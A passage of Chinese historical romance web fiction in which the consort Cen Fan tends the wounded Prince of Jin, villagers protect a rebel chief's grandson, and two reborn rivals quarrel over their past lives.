尔朱阳雪双臂握住缰绳,马在山间走得平稳。 “王妃的衣裙脏了。”尔朱荣提醒道。 岑璠低头,她的袖上沾了血,想来是她被剑划伤的伤口沾上的 岑璠葱指抓着马鞍,道:“无妨的。” 尔朱阳雪轻笑,“王妃可知,我们大魏原先游牧为生,原本的都城就在离晋阳不远的平城。” 岑璠道:“知道。” 尔朱阳雪道:“王妃既是跟了晋王,还是学学骑马的好。” 岑璠抿起唇,须臾之后,纠正道:“我会学骑马,但不是会为了他学。” 她是为了自己学,是她自己想学。 尔朱阳雪似有些惊讶,微微挑眉,而后哈哈笑了两声。 那笑容爽朗,比起刚才真挚了许多。 尔朱阳雪低头,向那匹黑马问:“你听见了吗?” 那匹马似真有灵性,耳朵动了动,抬起蹄子,走得更快,也更颠簸了。 岑璠将马鞍抓得更紧了。 到了平地上,尔朱阳雪打了一声口哨,一拍马,那匹马狂奔起来。 身上的冷汗被吹开,岑璠抓上缰绳,抓得紧紧的。 “王妃怕吗?” 岑璠道:“不怕。” 那马便是没停,长宽衣袖被风吹的鼓起来,露出一截藕臂。 到了村口前马才停下。 其他人也追来,杨知聿停下马,走到两人面前,抬头严肃提醒,“她不会骑马。” 尔朱阳雪跳下马,未看他,扭头将岑璠扶下来,恍若未闻,“知道,可王妃并非胆怯之人,我带着她跑马有何不可?” 这话说完,她撂下两人,独自往前走。 杨知聿欲跟,被喝住,“我伤了,要去换药,表兄要跟吗?” 他停住脚步。 岑璠却是愣了愣。 这杨知聿从来没有和她说过他的身份,她也不曾对多打听过,只知道是那杨太尉的义子。 此人总对她说些莫名其妙的话,说是为她好,而他也确实帮了她很多。 可她就是觉得此人有事瞒着她,就和与她同榻而眠的晋王一样… 她对八姓贵族不了解,这杨家的义子,为何会和尔朱家有关系? 岑璠转头看他,只见他面色凝重,望向远处,是她不曾见过的样子。 杨知聿似是注意到她,道:“我让人带王妃回村长的院子,王妃的婢女都在院子里。” “她们可有受伤?” “一切安好。”杨知聿转头看了看尔朱阳雪离开的方向,说道:“她也应当在,她性情不好,若是说了什么,王妃不必在意。” 岑璠抿了抿唇。 她并不觉得尔朱阳雪性情不好。 与之相反,她能看出,尔朱姑娘是个性情爽朗的人。 她不欲与他就此事争论,她还有另一件事要问他,“你们是如何找到我的?” 杨知聿道:“此处靠近大河,不论是自南入晋,还是自北入中原,都会经过,若想抓人最为容易,晋王刚来此,在周围村落安插暗哨,如今靠近大河的每一处村落,一方有动,八方皆有响应,逃不出去。” 岑璠心道:怪不得那萧晗会像疯了一样,要拿晋王的性命…… 杨知聿看着她,道:“王妃来了这里,若想再逃,再下也无能为力。” 岑璠盯着他,“杨将军为何会来这里。” 杨知聿嘴微张,却还没说出口。 他该怎么样告诉她,他上辈子来迎亲,其实见过她穿嫁衣的样子。 她已经什么不记得了。 这一世她没有爱上晋王,活得更像真正的她,过得比上一世好。 他垂下眸,道:“我也在寻萧晗,碰巧碰见那些暗卫在寻人而已。” 迎来的只有岑璠的沉默。 她一双清眸看他,像一面照清他的镜子,似是在审视,又似是压抑着情绪。 杨知聿不知道她为何要这么看他。 岑璠收回目光,转头离开。 有一批暗卫很快跟上她,不久便回到村长的院子,那打斗的痕迹还在。 院内有不少人进进出出,收拾残局,原本该在村长院子里的小孩,岑璠自遇袭后就没见到。 乳娘就在院子里,倚靠着槿儿,看到岑璠缓缓直起身,步履蹒跚,向她跑来。 “姑娘,你可真的吓死我了!刚才将你掳走的是谁?他没拿你怎么样吧!” 紫芯看了看她的肩膀上的一抹血迹,“姑娘受伤了?” 那是尔朱阳雪蹭到她衣上的血迹。 岑璠摇了摇头,“没有,是尔朱姑娘救我时受伤了。” “你们刚才可有看见她?” 这里人来人往,三人一直在院子里,只见过一位姑娘。 乳娘指了指那间被破门的屋子,“她在里面。” 岑璠抿了抿唇,让紫芯问院子里的人借了些伤药。 屋子的门刚才被萧晗破开,大敞着,门窗却紧闭。 岑璠拿了伤药,敲了敲窗户。 那窗子立刻便被人打开了。 尔朱阳雪见到她,似有一瞬的惊讶,目光微落,转头进了屋子,“王妃怎么来了?” 岑璠步履轻缓,自门而入,拿着药站在她面前道:“你的手臂受伤了,我想帮你上药。” 尔朱阳雪愣了愣,撇开头,“晋王殿下与我阿父交好,救王妃是应该的,不必多谢。” “那也是你救了我。”岑璠道。 桌上有帕子,应该是尔朱阳雪自己拿来要清理伤口的。 岑璠关上窗子,拧了帕子,问道:“姑娘可是在生我气?” 尔朱阳雪抬头,而后看向自己的伤口,“我没有生王妃的气…” 岑璠道:“那就是在生杨将军的气。” 尔朱阳雪似是没说话,就连头也没转。 岑璠似是了然,“姑娘先把衣裳脱了吧,我给你上药。” 尔朱阳雪唇抿起,两颊微鼓,却是乖乖脱下了半边袖子。 岑璠离近些,帕子擦拭着她手臂上的血迹,那道伤口并不算浅,很长的一段口子。 她小心处理着,一旁的人忽 然问,“王妃为什么会觉得我再生他的气?” 那双杏眸里少了些锋芒,眼中似闪烁着不一样的微光。 岑璠低眼为她继续处理伤口,道:“猜到的,姑娘好心帮忙救人,杨将军却反过来要指责,换做是我也要生气。” “还有呢?” 岑璠想了想,道:“他说你性情不好,我却觉得他对你有些误解。” 尔朱阳雪噗嗤一笑,笑弯了腰,岑璠猝不及防,连忙抬手,怕碰疼她的伤口。 她似多看了她好几眼,而后长舒一口气,消了不少气,坦白道:“王妃说的对,我确实在生气,那个狼心狗肺的东西!” 她话里话外都是愤然,可岑璠总觉得,那眼底并没有责怪之意。 岑璠也承认,“此人有的时候确实讨厌,但应该也是担心姑娘的安危。” 尔朱阳雪笑了笑,“王妃实在是个有意思的人,嫁给晋王殿下,有些可惜了。” 岑璠撒药粉的手顿了顿,并未说话。 “我想王妃应当也不喜欢晋王,晋王这个人心太冷,在我们晋阳,世家姑娘宁可嫁些小氏族,也不愿意让晋王看上。” 岑璠认错人的那些年,打听过晋王的许多事,可打听到的多是他的战功,彭城离晋阳实在太远,她打听不到此人私下里究竟是什么做派。 但她其实能猜到,那个人只要站到那里,眼一瞪,嘴一抿,再说点呛人的话,确实难有人喜欢。 “不过说到底,晋王长相俊美,世间少有,不管性情如何,确实也会有姑娘惦记。”尔朱阳雪看她,意味深长,“你到晋阳,应该也能见到。” 岑璠并没有说什么,只用心给她包扎着伤口。 尔朱阳雪穿好衣裳,说了声多谢。 她看岑璠,似还有话要说,却传来几声敲窗声,那声响毫不客气,振振有声。 岑璠打开那扇窗,瞧见了一张冷峻的脸,不知为何,那脸色有些苍白。 元衡看了眼桌上的药,目光移向尔朱阳雪,最后盯住她。 “本王伤了,要换药,王妃不过来看看吗?” 第33章 第三十三章你很懂她? 元衡的这话,岑璠似是在哪里听过。 见她未表态,元衡声音又沉了些,“孤的伤在背上,自己上不了药。” 尔朱阳雪似是听见,微微转头看向两人,而后站起身,动了动手臂,若无其事出了门。 元衡走进屋,轻瞟一眼与他擦肩而过的女人。 岑璠在屋内端坐,在他还没坐稳时,站起了身。 “你去做什么?”他问。 岑璠道:“屋里的纱布不够用了,我再去拿下。” 元衡便没有再说话,还好她不久后便去而复返,似乎不是真的嫌弃他。 他利索地脱了上衣,露出那道长长的伤痕,似是被鞭子抽中,那鞭子应当带有倒刺之类的东西,钩起了他背上的皮肉。 岑璠见过他的脊背。 他身型修长,脊背却是宽阔,肩胛骨附近的肌理线条流畅,虽是布有浅浅的几条伤疤,到底是不影响美观。 这么一鞭子下来,终归是不太好看了。 她不知道怎么下手,她处理伤口的本事还是在彭城学的,那时战乱不止,她和外祖父救济彭城百姓,曾学过些皮毛。 岑璠在犹豫,这种情况到底是该先剪掉他背上翻起的皮肉,还是该先敷药包扎。 他应该也是在意自己皮囊的。 最后岑璠先烫了剪子。 剪刀尖对准肉刺时,元衡开口,“你要做什么?” “殿下的伤口,不需要先处理一下?” 元衡抿上唇,岑璠见状,便当他默认,用剪子照着烂肉剪下去。 那感觉像针刺一样,说不上疼,但终归不怎么好受。 刚凝固上的血液便又淌开了,一片血呼啦差。 岑璠专心致志地修,起初有些不敢下手,可一想到她是因为他才被萧晗掳走,下剪子果决了许多,只想怎么把这伤痕剃得平整些。 剪掉一半,他转身握住了她的手腕。 那额头上冷汗密布,脸色更苍白了。 他从牙缝里挤出几个字,“剪够了?” 岑璠一愣,抿起唇。 元衡目光落向她手里那把沾满血的剪子,呼吸凝重。 她根本不心疼他。 他看向她,手依旧握着她的手腕,只在那眼中看到疑惑,还有些许的怨愤。 他大概能想到,若他再说什么,她一定会反问一句,“不是殿下让我动手的吗?” 元衡合上嘴,缓缓松开她的手,平复了一会儿气息,平静道:“上药便是。” 岑璠放下剪子,利索倒了药粉,铺洒在他的背上,利索地缠上了绷带。 他的伤在背后,她需要将绷带穿过他的胸前绕几圈,可就算这样,她也不怎么碰他。 她上一世不是这样的,起码就换药来说,那时他伤的重,绷带总是和伤口粘在一起,她给他换药总是轻巧地揭开,还会问他一句“疼吗?” 元衡有一瞬觉得,叫她来上药,倒是不如叫军医来。 平白给自己添堵 岑璠给他上完药,洗了手上的血渍,收拾桌上的药。 他轻问,“皎皎刚才可有受伤?” 岑璠手顿了顿,目光垂下,“尔朱姑娘和杨将军来得及时,并没有受伤。” 元衡嘴抿成一条缝,可到底没说什么让岑璠不痛快的话,“没受伤就好” 她刚才被掳走,他害怕极了。 他自以为在军镇一路杀来,又死过一次,应该什么都不怕,可他发现,他真的很怕失去她。 午夜梦回,他总梦到她鲜血淋漓死在他面前的样子 他重来了一次,她必须要好好活着,起码在他死之前,她不能死。 岑璠觉得他奇怪,他总是这样,忽而那双冷眸中便带了眷恋,眼底染上红。 她犹豫片刻,将最后一瓶药放回药匣,扣好匣子。 忽而她听见一声沙哑的声音,“孤受伤了,你不问问为什么吗?” 她确实忘了问,可就算是问了,她应该也帮不上忙才对。 岑璠怕他心生怨气,于是顺着他的话问了句,“殿下遇到了什么人?” “孤和他碰见后,兵分两路,他遇到了你,孤遇到了另一批杀手,领头的人武功稀松平常,可手段却高明” 岑璠听得出来,他说的人绝不是像他所说稀松平常,起码应该是个很难缠的人物 可她应该确实帮不上什么,起码她身边没有什么会武功的人。 难不成是和她报仇有关? 岑璠想问,可他却是先说了话,“那一鞭打在身上是疼的。” 这话岑璠却不知道该怎么接,她低下目光,淡淡道:“这几日多上几次药便好了。” 元衡呼吸一滞。 岑璠提上药匣子,向前几步,忽然脚步一顿,“墨群呢?” 元衡抬眼,冷漠道:“他护卫不周,本王——” 话还没说完,岑璠打断,“他是我的护卫。” 元衡沉默了许久,“那又如何?他办事不力,该——” “我不想说第二遍。”岑璠又堵住了他的话,“殿下不也让刺客跑了,为何我的护卫受了重伤,也算办事不力,非要置他于死地。” 她越这么说,元衡便越不想放人。 他手握了又松,松了又紧,背上还如同火烧一般的疼。 最后他妥协了,声音沉闷,“孤可以放了他,不过你要答应,每天给孤上药。” 岑璠眼睛盯着那个男人,他似是自己都心虚,低头绑着自己的衣带。 可若不答应他,他大概真的会杀了墨群,就算不杀,应该也不会让他好过。 岑璠答了声“好”。 元衡没答话,岑璠没多理会,转身出了屋子。 乳娘在门口,连带还有和韩泽一起去而复返的傅媪。 乳娘问:“殿下可是伤到了?” 岑璠微微颔首,往前慢慢走,道:“伤的不重,挨了一鞭子,不必担心。” 乳娘瞧她的样子,便知两人定是又起了冲突。 她一拍大腿,“姑娘你看,殿下让你去上药,定然是想让你心疼他,是喜欢你呢。” 岑璠眼睛微抬,倒不是因为听到这番话有多少动容,而是因为想到刚才尔朱阳雪生气时说的话。 “我伤了,要去换药,表兄要跟吗?” 她是喜欢杨知聿的。 她没对什么人动过心,可她能感觉到,那是一种悄然的喜欢 岑璠一时有些出神,乳娘后面说的话,便是一句没听进去。 乳娘叫了两声,傅媪拉住她,摇了摇头,“咱们还是少说些吧。” 晋王是她在军镇看着长大的,那是个可怜的孩子,先皇后当着他的面投井而亡,父亲又是个没心的,一路追杀,只能和太尉一起在虎狼窝隐姓埋名躲藏,这么些年能活下来也是不容易。 可到底这么歪着长大,性情也不太好,王妃这样的人,和晋王待在一起,难免有怨言。 乳娘见她心不在焉,倒也没再继续说下去,叹了口气。 岑璠将药匣子还给军医,想起墨群为她挡了一枪,嘱咐军医帮忙去医治。 交代完一切,岑璠转身,便瞧见了本该在房里休息的男人,他的身上还能闻到一股淡淡的药香。 他握住她的手,往外大步而去,不一会儿额头上便又有了冷汗。 乳娘她们没跟上来,岑璠只默默跟在他身后。 元衡走出那个院子,停在院外的路上,弯下腰与她平视,“你就这么关心那个护卫?” 岑璠早已习惯他离得这么近,甚至知道,他又要用什么话来逼迫她。 她眼眸对上他,保持应有的冷静,据理力争:“他受了伤,殿下有我照顾,殿下的人有军医治,为何我的护卫不能?” 她说他有她照顾,可她话里话外还是要保下身边的男人。 元衡一时五味杂陈。 明明是他派到她身边的人,却被她护在身后 他和她身边其他的人,好像并无两样。 若是用一辈子,不知道能不能走到她的心里去。 元衡这么想,唇又贴近了些。 她的衣裳有些乱,想来是萧晗那好色之徒对她不规矩。 那些想害她的人,觊觎她的人,他恨不得将他们手生生剁下来,再碎尸万段。 岑璠下意识抿唇,她并不想让他在这里碰她。 她攀上他的背,额头相抵,那呼吸近在咫尺,她抚到他的伤口,准备按下去。 就在此时,韩泽找到了他们。 看到的那一刹那,韩泽转过头去。 元衡离开些,眼睛还盯在她身上。 韩泽行礼道:“殿下,那个孩子找到了,只是” “只是怎么?” 韩泽欲言又止,眉拧成一团,似觉得难办,指了路的方向,“殿下去看便知。” 岑璠撇过头去,似不打算与他们同去。 元衡与她十指相扣,死死抓住,不肯再让她离开身边。 那孩子没离开村子,而是在另一户人家。 那户人家门庭破旧,门外围满了手持刀剑的官兵侍卫,门前却被村民围了个水泄不通,男女老少,每个人的脸上凌然如归,似是要与他们对抗到底。 挡在最前的人是个大胡子,身型肥壮,手里拿着一把屠刀,应是宰猪为生的农户,说着当地的民话,“想把那孩子带走,除非从我们身上踏过去。” 赵巍大喊,“刺杀皇族,乃是诛九族的死罪,尔等如今阻拦,乃是犯下包庇之罪!” 这番话一下激起众怒,有人忽然喊道:“包庇就包庇,我们今日挡在这里,就没想活着离开!” 那声音愤然慷慨,门外拿着刀的军人见了,不少人都犹豫了。 两边剑拔弩张,韩泽开出条道来,“诸位不妨冷静一下。” 元衡站出来,眼中寒芒利刃扫向门口的人,道:“把那个孩子,还有献策之人交出来,其他人本王不杀。” 此话一出,挡在门口的人互相看了看,似有些诧异,可终究还是没人让开。 岑璠眉微皱,看向他,似有话要说。 元衡冷道:“无人站出来,便一个一个审。” 门口的村民又横眉冷对,眼中满是恨意。 就在此时,后面传来一阵喊声,“阁下倒不如说说,为何舍命也要挡住这道门?” 岑璠转头,发现是杨知聿。 他站定在两人前面,拱手行了一礼,“此事殿下不若交给末将来处理。” 他未等元衡同意,抬头看向屠夫,“不如在下我来说说,因为在孟村所有人眼里,他是个好村长,穷到叮当响,也要帮所有人活着,对吗?” 他说完这些,门口的村民戾气明显消了不少。 那屠夫刀放低了些,坦白道:“没错,村长救过俺的命,那孩子是村长唯一的血脉,不论你们是谁,俺都要护住那个孩子!” 屠夫这番话,似是说到人心里,周围村民纷纷附和。 杨知聿道:“谁说我们要杀那个孩子了?” 这下就连赵巍等人都有些不明所以。 “殿下想找到那个孩子,无非就是想问问,到底是谁在教唆你们与皇室对立而已。”杨知聿将那些村民的表情一一看在眼里,“若是无人教唆,想必大家也不会都聚在此处吧?” 他转身问,“殿下可觉得我说的对?” 元衡轻皱眉,未置可否。 人群中忽有响动,一枚暗器直朝杨知聿面门而去。 元衡早一步察觉到人群中的异动,出剑替他挡开了那枚暗器。 随后人群中有人口鼻出血,直直倒地。 人群一时躁动起来,大胡子屠夫仔细瞧了瞧,眼睛睁大,回头道:“这、这不是隔壁村的李小六吗?” 周围人皆惶恐,草木皆兵,已经有不少人撤去。 赵巍上前去探,发现那人脸上的血呈黑色,应该是服毒自尽。 杨知聿转过头去,看向刚才帮他挡暗器的人。 元衡扭着头,手里还拿着那柄箭,一点目光都没给他。 倒是不怕折了脖子…… 杨知聿摇头叹笑,道:“殿下当真要要了那孩子的性命?” 元衡从小到大,最懂的便是斩草除根。 他自己就是没被人斩干净的那个。 他杀了那村长,那孩子总归是要恨的。 谋害皇室本就是大罪,与其留个祸害,不如现在就除掉。 杨知聿似是看懂了他眼中的意思,倒也不避讳着在一旁的岑璠,“殿下不妨和我进去看看。” “我希望我扶持的人,将来会是一个心怀仁慈的君主。” 说罢,杨知聿穿过人群,向院内而去。 院内,那孩子在妇人怀中哭的上气不接下气。 见到几人,妇人抚了抚孩童的头,“别怕…” 杨知聿低下身,声音放轻了些,“没事的,这孩子不会有事。” 那孩子抬起头,在见到杨知聿的时止住些哭声,可又偷偷瞄了一眼,又看到一张凶神恶煞的冷脸,又埋头在妇人怀中。 杨知聿回头轻“啧”了一声,转头又看向那孩子,“可不可以告诉我,为什么要来这里?” 小孩断断续续抽噎,“是爷爷叫人把我送来的,姑姑说说爷爷回不来了……” 说罢,小孩又大哭不止。 妇人哄了哄小孩,杨知聿就这么看着,待到小孩哭声弱了些,对妇人笑了笑,向小孩轻声道:“你先回屋,我和姑姑有话说。” 小孩眨了眨眼,看向妇人。 “回去吧。”那妇人望着孩子走回屋,随后直直跪了下去,“求求你们,放过这个孩子吧。” 杨知聿道:“那孩子是不是还不知道,村长是如何死的?” “你如实说,未必不能放了 你们。” 妇人想了想,坦白道:“是村长交代的,村长之前找到我时,就同我说过,不论事成功与否,这些仇他来报就是,都不要让孩子知道。” 岑璠眉始终未舒展开,问,“那些人可是说过,给你们好处?” “我听村长说,说事后会有人给我们些银钱,接应我们去南边。” 话音刚落,元衡一声冷笑。 杨知聿看他一眼,抿唇,回过头去,向那妇人耐心道:“你可知这些年南边氏族独揽大权,百姓比起北边只会更不好过?他们答应你们去南边,可曾说过让你们去哪里?是去南北边界,还是去给人当奴卖命?那些银钱呢?村长可曾有拿到见到?” 这一串问题,着实把妇人问懵了去,她支支吾吾,神情有些恍惚。 “但我觉得,村长也不只是因为好处吧,你可知村长有什么仇要报?”杨知聿退开一步,“你尽管说,说不准我们不追究,还能为你做主。” 妇人仰望着杨知聿,双手合十,黝黑的瞳孔中似映着光,“我知道,我知道啊!老村长的儿子死在世家手里,那罗氏就是吸血的虫,村里连年水灾,收成不好,好几回大家伙都快饿死了,罗家每次水灾后都要来村里,说只要把田给他们,他们就给村里些粮食,后来大家的田越来越少,村长便想每户凑些粮食还给罗家,把田地赎回来,谁知道那罗家人说,他们只接受村里的人给他们当佃户,不接受换田,大家这才反应过来被骗了啊!” 杨知聿继续问,“那老村长的儿子又是怎么死的呢?” 妇人道:“去岁大灾,罗家又来收田,村长不肯再给,那些人便说要清退村里所有的佃户,村里没了田又没了粮,肯定活不成,老村长的儿子便带了一群人将罗家的长子绑了,谁知那罗家带了官兵来,老村长的儿子被活活打死,村长的儿媳妇貌美,被罗家收去当了奴,不堪受辱,投河自尽了。” 岑璠听完前因后果,攥紧了拳。 杨知聿面色凝重,站起身,向元衡行了一礼,“殿下,我要想问的问完了,要怎么处置,您来定夺。” 元衡盯着那妇人,眼中尽是冷漠,却没下令,岑璠在一旁拽了他,“水能载舟,亦能覆舟,这道理殿下应该明白。” 元衡低头看了看,什么都没说,向前走去。 手中的袖子被抽开,岑璠怔了怔。 杨知聿跟着向外走,对她道:“尔朱姑娘就在外面,你去找她,剩下的我去找他说。” 岑璠转身离开。 元衡走出门,向赵巍交代了几句,直直向刚才燃火的祠堂方向而去。 杨知聿找到他,他并未回头。 杨知聿同他并排而站,第一句先是说:“刚才多谢殿下。” 元衡道:“本能罢了,你不必谢,下次定不会再救。” 杨知聿淡然一笑,并不在意他说了什么,“我只是想带你想想原来的你自己罢了。” 元衡面露讥讽,“原来的我?” 杨知聿嘴唇动了动,道:“那些村民不过受人蒙骗,原来的晋王,虽说处事果决,被人说手段狠厉,但其实从不滥杀,断不会想要这些村民的性命。” 元衡冷笑,“那些人愚昧无知,你以为说些大道理,便能改变什么?” 杨知聿脸色骤然肃立,他沉声道:“我今日带你来,并不是来带你看百姓的无知。” “他们的无知,是因为这个世道,世家门阀垄断仕途藏书,有些东西他们一辈子也无法接触,也无法理解,他们只知道世家侵占田产,害他们只能饿死,可他们并非完全不知善恶是非,你若网开一面,他们会记住的。” 元衡听得有些不耐烦,“你说那么多,这皇位不如你去争!” 杨知聿怒极反笑,“你以为我不敢吗?我若是上辈子想当皇帝,上辈子也不会——” 他似是想到什么,闭上嘴,绷紧了唇角,脸色很是难看。 “你只需知道,将来能一统天下的君主,必不会是仁善不施之辈。” 元衡似觉得可笑,喃喃重复,“仁善不施…” 上辈子他念着亲情,却被自己的舅父架空剥夺军权,念着父子情,从谋反的太子手里救回他濒死的父皇,结果他的父皇咽气前宁肯以他擅闯皇宫之罪,下诏让他永世不能触碰皇位,把皇位传给那个不通文墨的废物…… 他上辈子对世家恩威并施,那些世家只坐观虎斗,把他当成一枚棋子。 都是利益为王,谁记得他的好? 他苦笑,冷道;“上辈子本王倒是仁善了些,结果呢?得到了什么?你以为所有人都是菩萨,会记得那点恩情?” 杨知聿不知他为何会变得这般执迷不悟,他不苟同,却还是想让他明白,“匹夫之怒,血溅五步,一位年过花甲的布衣,竟被世家逼的敢以死相搏,下一次呢?均田形同虚设,世家吞并土地,还有多少人敢用命颠覆皇权门阀?你可别忘了,上一世军镇造反,是什么后果,纵使你有千军万马,民心不在,也难挽大厦将倾!” 他说了许多,似觉得再无话可说,就要离开,“就这一点,她其实比你要看的通透。” 元衡正出神,听到这句后,猛然转头,声音冷若冰霜,“你在说谁?” 杨知聿毫不畏惧,直面向他,“自然是她。” 元衡下颌紧绷,愈发显出棱角,从刚才开始压抑许久的情绪,终于都转化成一种将要噬人饮血的目光。 “你很懂她?” 第34章 第三十四章扭打,醋吻 杨知聿看他,眼底全是讥讽。 他歪了嘴角,似有若无地笑了笑,并不怕他怒,道:“起码比你懂她,我告诉你,我和她经历过的事,比你多太多!” 元衡缓缓转过头,眼睛里充着血丝,红的不行,声音像是被削利的沙砾,“你和她都经历过什么?” 杨知聿紧咬后牙,恨不得一拳挥上去,最后只说道:“你若是还要点脸,就最好别知道。” 元衡仿佛已经失去了理智。 脸是什么东西,他还要什么脸? 他眼睛直直盯着他,像是疯了,重复问,“你到底和她经历过什么?!” 杨知聿直对他的眼睛,道:“上辈子你明明知道她也是无奈,却那般对她,你明明一句和离她便会放手,可你偏偏要把她留在府里折磨,后来她跟着你只是想你带她报仇,你也视若无睹,现在你想知道了?死了这条心吧!” 元衡似根本没听他说的什么,只在他说“死了这条心”的时候拽上了他的衣领,问了第三次,“你说!她和你到底有过什么?” 面对他对牛弹琴般重复的三个问题,杨知聿也没了耐心。 他抿着唇,抓住元衡的手。 两个人暗暗用力,忽地同时向对方发难。 二人太了解彼此,准确接住对方的招式,一招比一招狠厉,赤手空拳地打,腿与臂碰撞,撞出咚咚的响声。 杨知聿始终冷静,只看着对面的人招式越来越乱,将短处都暴露了出来,不要命地打。 他是存了心思让他难受,可没有想到,会把元衡激成这幅疯样。 他终于吼了一句,“你别忘了,上辈子你是让谁来迎亲的!” 迎面而来的一拳生生停住,元衡睁大眼睛,晃了两下。 没错,上一世他都没见过她穿嫁衣是什么样子,是他替他来迎的亲…… 元衡垂下臂,打散的头发垂在肩头,挡住半张俊美如玉的脸,甚是狼狈,背后的血渗透了衣裳。 杨知聿也没好到哪里去,领口生生被他扯出一个裂口。 他喘了两口气,看向对面想生啖他肉的男人,却还是想在刀口上扎上两刀,“你不想知道我为何来这里,还知道老村长的事吗?” “上辈子我们也是在这里遇袭,不然你以为我怎会知晓萧晗来大河找人,你所遇见的,便是上辈子我们遇见的,当时若不是阿雪遇到她,你怕是在晋阳见不到她。 ” 这些事元衡之前从未听过,约莫他身边的人也知道,只是因为知道他不想知道关于她的任何事,便没将这些告诉他。 他知道她要报仇,知道她上辈子过的苦,他还知道很多他不知道的,譬如她会吹笛子,譬如她上辈子穿嫁衣的样子…… 而他和她的记忆,只有在床榻上的一个个夜晚,唯一算得上美好的,大概只有他被追杀,躲在她院子的那一个月。 就算是那一个月,他们说过的话也寥寥无几。 他说的没错…… 他以为她和杨知聿上辈子缘浅,原来他和她才是缘浅的那个。 元衡呆呆望着地面,像是得知别家小孩有好东西的孩童,明明知道得不到,却还是想把所有东西都化为己有。 “她的事,你能不能全都告诉我” 杨知聿一时有些动容,可她的事,他做不到都告诉他。 他也不配知道。 他叹了口气,挑了件能说的说,“你可知道,上一世胡氏是怎么死的?” 元衡记得,上一世他挑唆皇帝和胡氏斗争,有一日胡氏忽然暴毙,随后势力土崩瓦解。 那时胡氏暴毙的原因始终没有说法,他以为是皇帝动的手。 他心中有了一个猜测,倏然睁大了眼睛,从震惊到惶恐。 杨知聿道:“上辈子她报仇心切,你却迟迟不肯动胡氏,她去了洛阳的庄子后,救下阿雪,后来阿雪进宫当皇后,答应用她送的毒香,给她报仇。” “不然你以为她为何要一直待在你的府里,任所有人欺凌,是自甘下贱吗?”杨知聿上前一步,忍不住想要挖苦他,“她对你所剩唯一的期待便是要报仇,你连这点都要让她失望。” 元衡梗塞,他摇头,随后定定站住,眼睛中满是冷鸷,“你骗我,你就是想骗我,她怎么可能遇到尔朱阳雪?怎么可能!” 杨知聿道:“怎么会遇到?你难道不清楚吗,上一世的军镇,杨氏与尔朱氏争斗不歇,犹如炼狱,她被追杀至洛阳,只能二嫁做皇后,以稳住军镇两方势力,这些是你亲手造成的,难道你都忘了?” 元衡彻底愣住,忽然回想起前世许多看似巧合的事。 当年尔朱阳雪二嫁入宫的时候,她确实去了庄子,而回来的时候,恰好是胡氏死后没多久…… 他说的也许都是真的。 忽而,元衡又想起岑璠回来那日,她的脸上灰败难掩,似是连路都要走不动了…… 他眼神愈发沉寂,他声音沙哑,“她上辈子在那里,是不是很苦……” 杨知聿上唇动了动,拳握紧,简简单单一个“是”字,毫不含糊。 元衡蓦地扯开唇,冷笑两声。 路边的野风吹起尘土,不知是不是沙土进了眼睛,他的眼底一片红。 那眼底渐渐染上别的情绪,先是带有嫉妒,再是染上恨意。 “你到底想要做什么? 杨知聿道:“我只是想告诉你,帮她报仇是你欠她的,你拿这个威逼利诱,不会羞愧吗?” 元衡无声笑了,“你怎么知道我拿这个威逼利诱?” “自是因为我足够了解你,也了解她,她比你想象中的更想报仇,你拿这件事威胁她,迟早有一日她会像上辈子一样自己想办法。” 那人越这么说,元衡心底越烦躁。 他听不得他一直在他耳边说了解她,他听不得任何人这么说。 元衡嗤了一声,话中带刺,“她准备怎么想办法?还找尔朱阳雪一起是吗?那是打算等尔朱阳雪嫁太子的时候动手,还是打算等她二嫁给我那皇兄时动手?” 这话漫不经心,杨知聿的脸却是慢慢冷了。 元衡睨了他一眼,狭长的眼满是精明,“还没问你,上辈子你不是喜欢她吗,怎么这辈子就非要和本王抢?” 杨知聿嘴角紧绷,沉默到脸色有些白,完全没了刚才教训他时的嚣张。 元衡勾起唇角,“孤死后得以重活一世,你又为何也重来了一辈子?” “莫不是因为,你上辈子也被杀过,丢了性命?” 杨知聿盯着他,道:“你别太过分!” “太过分的是你!”元衡晃晃悠悠走出几步,似是不甘心,又道:“我夫妻二人的事,不需要你插手。” 说罢,元衡快步离开,那步子越走越快。 村子里的残局已经收拾的差不多,岑璠和尔朱阳雪已经到了村口。 尔朱阳雪提住她的裙摆,她抓着马鞍,在自己上马。 元衡本能上前,想把她托上去。 谁知岑璠却停住了动作,回头看他。 若是往日,他定是要蛮横无理地呛她几句,然后按照自己的想法来。 可他这次并没有,不知为何,那眼中情绪有些低落。 尔朱阳雪在一旁解释道:“殿下不知,王妃刚才说想学骑马来着。” 元衡似有若无看了她一眼,目光又回到岑璠身上。 “你上去,我扶你。” 岑璠犹犹豫豫转过身,又试了一次,腰间有一双手暗暗使了些劲,她便顺利上去了。 只是还没踩上马鞍,他便利落地上马。 温热的胸膛抵住她的后背,将她的手放在缰绳上,他身上的沉香笼罩,那声音是少见的温柔,“孤教你骑,如何?” 岑璠愣了愣,微微转头。 他离她极近,这么转头,便是差点靠在他的肩上。 岑璠回过头,身子僵硬地挺直,没答应他。 元衡抿唇,默默踢了马肚,带着她离开人群。 岑璠问他,“刚才那个萧晗——” “他是不是刚才用手碰了你?”他打断道。 岑璠愣了愣,不知为何他忽然这么问,似带着偏执。 她皱眉,“无事,我是想问,殿下可有抓到那人。” “那厮背后有人相帮。”元衡道。 和他交手的人,鞭子使得并不好,那人似是在刻意隐瞒自己原本的出手招式,但对他很是了解,因此才颇为难缠。 他背上受了伤,那人手臂上也划了一刀。 能在这里安排人手接应萧晗的人并不多,杨知聿算一个,舅父算一个。 那杨知聿刚才去救她,不可能抽出身,若是舅父,那他帮萧晗地理由是什么? 元衡忽然想到什么,低头看向怀中的她,与她一同握住缰绳的手倏然收紧。 迟早有一日,他一定会把萧晗那厮的手剁下来。 他的手越握越紧,那手心炽热,灼地她手背发烫,岑璠想抽出手,那人似是有所察觉,马奔地越来越快。 两旁景色匆匆而过,瞬息万变,清风掠过,路旁花草丛生,旷野之外的山峦起伏。 已近夕阳,晚霞染了一片红,两人交叠的影子映在草丛,像一副佳人缱绻的画卷。 他勒马,不给她任何准备,身子前倾,影子靠的更近了些,下颌靠在她的肩上,“皎皎,你想学骑马,孤可以教你,孤什么都可以做……” 他和她有一辈子,她想报仇他可以把刀递到她手上,这样的风景,他也可以和她共看很多次。 他侧头,轻轻蹭了蹭她的脖子。 岑璠正腹诽他的阴晴不定,在他鼻梁忽然触碰的一刹那,她躲开了些。 那人手拢在她脑后,逼她转头,冰冷的唇随即覆在唇角,轻轻摩挲,犹如鸿毛点在水面之上,荡漾起一阵清波。 